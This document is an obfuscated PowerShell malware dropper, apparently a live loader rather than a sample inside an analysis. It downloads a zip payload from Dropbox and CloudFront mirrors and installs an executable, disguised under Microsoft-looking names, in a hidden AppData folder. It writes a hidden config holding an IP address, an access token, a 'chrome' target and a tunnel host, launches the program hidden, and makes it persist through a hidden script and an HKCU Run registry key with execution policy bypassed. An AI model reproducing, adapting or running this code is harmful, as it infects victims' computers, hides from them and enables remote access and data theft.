---

[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
& {
param(
    [Parameter(Mandatory=$true)]
    [Alias("h")]
    [int]$HostNum
)
$ScriptRoot = $PSScriptRoot
$_bcqfwcb = "51.195.232.76"
$_yyewne = "6902e641-eeba-4a5c-8bab-3c8eced5fe0a"
$_xesqemafpn = "34ANBkpuzgjyYIjbp7v82AdS566fCSMiRtKtw--D3nM"
$_xtxqtgkrp = "7810d6a6f5"
$_feyesqwqa = "github.githubassets.com"
$_pudxykcc = 417
$_exxrrkn = "chrome"
$_ld = "Microsoft\UserData\Core"
$_le = "UserDataRuntime.exe"
$_lr = "UserDataRuntimeSvc"
$_vhsxpzbtxc = 3876
$_lw = "maintenance.ps1"
$_lp = "xiqod86.dat"
$_ggbgem = @(
    'https://www.dropbox.com/scl/fi/1l95g8af1etaov7yp5z2d/c.zip?rlkey=byix1ywoq4ybp26d1udc7iwfy&st=y8cqotwz&raw=1'
    'https://d3lh1tj2kid78y.cloudfront.net/dl/008f2b7a2ff4cdc1b39af/c.zip'
    'https://d2ziwv9hws3tme.cloudfront.net/dl/008f2b7a2ff4cdc1b39af/c.zip'
)

IF (-not $HostNum) { $HostNum = [int]$env:HOSTNUM }

$_rdwhmtfa = 2466
$_dyuhwbx = "h$HostNum.tunnel"

$_brvrgt = 4068
$_wrhzfyqrh  = jOiN-PATH $env:LocalAppData $_ld
$_bypayy = $_le
$_wtdayn = $_lr

[void](New-Item -ItemType Directory -Path $_wrhzfyqrh -Force -EA 0)

Get-Process -EA 0 | whERE-OBjEct { $_.ProcessName -eq $_bypayy.Replace('.exe','') } | sTOP-PROcesS -Force -EA 0
$_qcuhbps = 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Run'
RemOve-iteMPropErtY -Path $_qcuhbps -Name $_wtdayn -EA 0
$_zkbgdv = 1264
sTArt-SLeeP 5

$_t = joiN-PaTh $_wrhzfyqrh $_bypayy
IF (-not (Test-Path $_t)) {
    $ProgressPreference = 'SilentlyContinue'
    $_nxewdkrkd = $false
    $_aaegsztqyf = jOiN-Path $_wrhzfyqrh $_lp
    FOREaCH ($_qdvvmnvnzp IN $_ggbgem) {
        if ($_nxewdkrkd) { bREak }
        tRy {
            $_kdhwrfsqm = nEW-oBJecT System.Net.WebClient
            $_kdhwrfsqm.Proxy = $null
            $_kdhwrfsqm.DownloadFile($_qdvvmnvnzp, $_aaegsztqyf)
            $_nxewdkrkd = $true
        } CatCH {}
    }
    $_xscafxxf = 2270
    if (-not $_nxewdkrkd) {
        foreach ($_qdvvmnvnzp in $_ggbgem) {
            $_bzgcgsjrbr = 1886
            IF ($_nxewdkrkd) { brEAk }
            TRY {
                $_kdhwrfsqm = NeW-oBJeCt System.Net.WebClient
                $_kdhwrfsqm.Proxy = [System.Net.WebRequest]::DefaultWebProxy
                $_kdhwrfsqm.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials
                $_paqthnezgk = 2307
                $_kdhwrfsqm.DownloadFile($_qdvvmnvnzp, $_aaegsztqyf)
                $_nxewdkrkd = $true
            } cATCH {}
        }
    }
    $_cjxbpbwndk = 610
    if (-not $_nxewdkrkd) { exit 1 }
    $_jwunfqh = JOIn-path $env:TEMP ('cx' + [guid]::NewGuid().ToString('N'))
    $_kjcwbwrhd = 835
    New-Item -ItemType Directory -Path $_jwunfqh -Force | OUt-NUlL
    tRy {
        Add-Type -AssemblyName System.IO.Compression.FileSystem
        [IO.Compression.ZipFile]::ExtractToDirectory($_aaegsztqyf, $_jwunfqh)
    } catch {
        tar -xf $_aaegsztqyf -C $_jwunfqh 2>$null
    }
    $_xmzsfwbdyz = 346
    Copy-Item (JoIn-PATh $_jwunfqh '*') $_wrhzfyqrh -Recurse -Force -EA 0
    Remove-Item $_jwunfqh -Recurse -Force -EA 0
    $_kcfuems = gET-childiTEM $_wrhzfyqrh -Filter *.exe -Recurse -EA 0 | whERe-ObjecT { $_.FullName -ne $_t } | Select-Object -First 1
    IF ($_kcfuems) { MOVE-IteM $_kcfuems.FullName $_t -Force }
    RemoVe-iTEm $_aaegsztqyf -Force -EA 0
}

$_pejqjrx = joiN-pAth $_wrhzfyqrh 'layout.dat'
IF (Test-Path $_pejqjrx) {
    $_wsrvwtvw = 1677
    $_nqmsqnqw = Join-Path $_wrhzfyqrh 'config.json'
    $_uhpycd = [IO.File]::ReadAllText($_pejqjrx)
    $_qqwyhcj = 3754
    $_uhpycd = $_uhpycd.Replace('__P1__', $_bcqfwcb).Replace('__P2__', $_yyewne).Replace('__P3__', $_xesqemafpn).Replace('__P4__', $_xtxqtgkrp).Replace('__P5__', $_feyesqwqa).Replace('__P6__', $_exxrrkn).Replace('__P7__', $_dyuhwbx)
    if (TeST-PATH $_nqmsqnqw) { (Get-itEm $_nqmsqnqw -Force).Attributes = 'Normal' }
    $_kxshphkquz = 1861
    [IO.File]::WriteAllText($_nqmsqnqw, $_uhpycd)
    (Get-Item $_nqmsqnqw).Attributes = [IO.FileAttributes]::Hidden
    $_fkkavd = 1951
    ReMOVE-ITEM $_pejqjrx -Force -EA 0
}

$_zssvgrzhmr = New-Object System.Diagnostics.ProcessStartInfo
$_zssvgrzhmr.FileName = Join-Path $_wrhzfyqrh $_bypayy
$_gdwwkjmjn = 1090
$_zssvgrzhmr.WorkingDirectory = $_wrhzfyqrh
$_gnzhbdb = 347
$_zssvgrzhmr.WindowStyle = [Diagnostics.ProcessWindowStyle]::Hidden
$_zssvgrzhmr.UseShellExecute = $true
[void][Diagnostics.Process]::Start($_zssvgrzhmr)
sTaRt-SlEEP 2

$_jnncpc = jOiN-pATh $_wrhzfyqrh $_lw
$_updebbgw = '$p = New-Object System.Diagnostics.ProcessStartInfo; $p.FileName = "' + (jOin-paTh $_wrhzfyqrh $_bypayy) + '"; $p.WorkingDirectory = "' + $_wrhzfyqrh + '"; $p.WindowStyle = [Diagnostics.ProcessWindowStyle]::Hidden; $p.UseShellExecute = $true; [void][Diagnostics.Process]::Start($p)'
$_bsfvan = 1706
iF (Test-Path $_jnncpc) { (Get-iTEM $_jnncpc -Force).Attributes = 'Normal' }
$_qgwsvre = 1655
[IO.File]::WriteAllText($_jnncpc, $_updebbgw)
(Get-Item $_jnncpc).Attributes = [IO.FileAttributes]::Hidden

$_zhfgwbs = 331
$_avbbucxeq = 'powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -File "' + $_jnncpc + '"'
New-Item -Path $_qcuhbps -Force -EA 0 | OUT-nuLl
$_dzqzjgqqzw = 784
Set-ItemProperty -Path $_qcuhbps -Name $_wtdayn -Value $_avbbucxeq -EA 0
$_qvzsnp = 1914
exit 0
} -h 6